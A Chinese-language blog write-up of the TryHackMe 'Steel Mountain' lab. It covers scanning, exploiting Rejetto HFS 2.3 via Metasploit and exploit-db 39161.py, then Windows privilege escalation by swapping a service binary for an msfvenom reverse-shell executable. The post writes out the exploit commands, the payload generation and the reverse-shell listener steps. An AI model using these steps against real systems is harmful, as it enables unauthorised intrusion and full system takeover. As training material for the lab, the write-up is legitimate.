tryhackme进攻性渗透测试-Advanced Exploitation 高级利用

发布时间 2023-12-10 17:43:22作者: sec875

Steel Mountain

  • 侦察
Nmap -sC -sV -O $IP -oN basic_scan.nmap
Nmap -script=vuln $IP -oN vuln_scan.nmap

总之,masscan在eth0上工作,所以SYN端口探测技术全部没有响应包
image

image

需要一个flag把探测流量正确的打入tun0中
masscan -p8080 10.10.205.233 -e tun0
image

nmap除了使用SYN端口探测之外,还使用协议"敲门"技术:它知道往8080端口尝试发送HTTP协议的请求格式,再提取响应进一步处理。
image

总之nmap知道把流量发给tun0,所以一切的端口探测技术或协议“敲门”技术都有一个正确的回应。

  • 立足点

HFS 2.3 软件版本号 历史漏洞一把梭
image

use exploit/windows/http/rejetto_hfs_exec
set rhosts <target ip>
set rport 8080 
set lhost tun0
exploit

image

  • 错误配置之PowerUp提权

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

PowerUp 的 powershell 脚本,评估 Windows的错误配置来提权

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
upload ./PowerUp.ps1

PS 下的wget
PS> wget http://tun0 ip:port/PowerUp.ps1 -OutFile PowerUp.Ps1

image

切换到PS shell

load powershell
powershell_shell

image

PS > . .\PowerUp.ps1
PS > Invoke-AllChecks

image

制作payload
msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=4443 -f exe -o Advanced.exe

meterpreter> background
msf6 exploit(windows/http/rejetto_hfs_exec)> use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 4443
msf6 exploit(multi/handler) > exploit -j
msf6 exploit(multi/handler) > sessions
msf6 exploit(multi/handler) > sessions -i 3

image

cd "C:/Program Files (x86)\IObit"
upload Advanced.exe
image

cmd 的shell

shell
sc stop AdvancedSystemCareService9
copy Advanced.exe "Advanced SystemCare"
sc start AdvancedSystemCareService9

image

image

image

使用提权到system的shell进入桌面拿root.txt

cd "C:\Users\Administrator\Desktop"
type root.txt

image

searchsploit rejetto
searchsploit -x 39161.py

第 1 阶段:该漏洞将在本地计算机文件系统中查找 nc.exe 文件并将其上传到目标计算机。
第 2 阶段:该漏洞将在目标服务器上执行 nc.exe,强制其连接到我们的本地主机。

cp /usr/share/exploitdb/exploits/windows/remote/39161.py ./39161.py

image

image

nc -lnvp 5555
python -m http.server 80
python2 39161.py 10.10.205.233 8080

image

image

image